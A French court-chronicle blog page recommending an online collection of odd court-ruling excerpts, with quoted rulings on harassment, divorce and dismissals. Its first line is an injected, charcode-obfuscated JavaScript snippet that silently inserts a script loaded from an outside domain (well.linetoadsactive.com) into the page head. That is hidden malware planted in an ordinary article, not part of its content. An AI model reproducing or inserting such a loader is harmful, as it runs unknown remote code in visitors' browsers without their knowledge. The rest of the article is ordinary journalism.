Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

    La curiosité est un joli défaut

    Du XVIe siècle au XIXe , les cabinets de curiosité étaient des pièces, ou des meubles, rassemblant des « choses rares, nouvelles, singulières », pour reprendre la définition du Littré. Grâce à Internet, le cabinet peut-être virtuel, tel ce « cabinet de curiosités juridiques » qui fait le bonheur de ses lecteurs sur la toile et Twitter. En ce dernier jour de confinement strict, nous ne résistons pas à l’envie d’en conseiller la lecture. Ses auteurs, deux juristes et une chineuse, traquent dans les jugements et arrêts publics, émanant généralement des cours d’appel, l’anecdote, l’amusant voire le choquant. Pour bien montrer qu’ils ne laissent pas leur imagination « tirer à la ligne », ils citent par principe le nom de la juridiction et la date de publication.
    On y apprend que « commet un harcèlement moral l’employeur qui offre à une salariée, ayant été absente plusieurs fois pour maladie, Le malade imaginaire de Molière ainsi qu’un réveil, en guise de cadeaux de Noël ». (Montpellier, 2008). Que « constitue une violation des obligations du mariage le fait d’écrire dans une lettre adressée à un notaire : Ma femme étant givrée comme un sapin de Noël… il semble qu’elle se soit fixé pour but d’être plus stupide en 2005 qu’en 2004 ». (Orléans, 2007). Ou encore que « ne commet pas de faute l’employeur qui ne prend pas de mesures afin d’éviter que son salarié sourd ne soit blessé par un collègue malvoyant durant une bataille de boules de neige ». (Paris). On découvre, non sans soulagement, qu’est « justifié le licenciement du concierge d’immeuble qui pratique la magie noire dans les parties communes avec bougies, statuettes, crâne humain et photo des résidents qu’il menace d’ensorceler ou de violer ». (Paris, 2016). Qu’est « justifiée la peine de prison contre l’éducatrice spécialisée qui traite des enfants handicapés de fonds de capote , résidu de fausse couche , entre autres sévices et humiliations » . (Cassation criminelle, 2011). Dans la série « ils ont osé », on se satisfera que « commet une faute l’opérateur internet qui envoie un courrier à son abonné afin de lui attribuer pour nouveau mot de passe : salearabe”. (Bordeaux, 28 mai 2009). Devant l’évier, on arguera que « constitue une faute justifiant le divorce le fait pour l’épouse de contraindre son mari à effectuer toutes les tâches ménagères ». (Cassation, 1982). En y réfléchissant, on conviendra qu’« Est un accident du travail le fait pour un employé de cirque de se faire arracher le bras par un tigre ». (Paris, 2012).
    Ce qui est formidable avec ces extraits, ces tranches, ces éclats de vie, c’est la part qu’ils laissent à l’imagination. Derrière la décision de justice, il y a des histoires, des existences et bien des souffrances dont le cabinet de curiosité ne dit rien.

    Commentez ou exprimez-vous grâce aux emojis !
    2
    HahaHaha
    1
    J'AIMEJ'AIME
    1
    WOUAHWOUAH
    0
    J'ADOREJ'ADORE
    0
    SUPER !SUPER !
    0
    TRISTETRISTE
    0
    GrrrrGrrrr
    Merci !
    • Depuis cinq ans, chaque dimanche dans le Courrier picard, les Histoires de prétoire présentent non pas les plus importantes affaires du rôle d’audience mais les plus émouvantes, énervantes, cocasses, amusantes. La fidélité des lecteurs et les encouragements de certains confrères m’ont donné envie de les réunir dans ce blog, avec (car la maison ne recule devant aucun sacrifice) quelques autres articles que j’ai commis. Ces pages sont-elles réservées aux spécialistes du droit ou à quelques voyeurs qui se complairaient du malheur des autres ? Je ne le crois pas, tant ces tranches de vie me semblent au contraire universelles. Alors bonne lecture ! Et demandez-vous avec Victor Hugo : « Qui sait si l’homme n’est pas un repris de justice divine ? » Tony Poulain

    • Show Comments

    Your email address will not be published. Required fields are marked *

    comment *

    • name *

    • email *

    • website *

    You May Also Like

    La mèche a été allumée

    Il a une drôle d’allure, Michael, avec cet objet entre le bermuda et le ...

    Ne vois-tu rien venir ?

    C’est jour de plaidoiries aux assises de l’Oise. David et Séverine répondent d’avoir laissé ...

    Au ballon !

    Entre Angélique, 37 ans, de Corbie, et un gendarme de Villers-Bretonneux, l’histoire de désamour dure depuis ...

    Contes et mécomptes

    Il est plutôt beau gosse, le Teddy, à deux encablures de la quarantaine. La ...

    Pas un mauvais gamin

    Les cheveux noirs en bataille sur une tête juvénile, Jean-Claude ne fait pas ses ...

    Procès de Freddy Trocador pour tentative de meurtre, viols et violences

    1er juin 2018 Un homme à femmes battues MESNIL-SAINT-NICAISE : Ses ex-compagnes ont accablé ...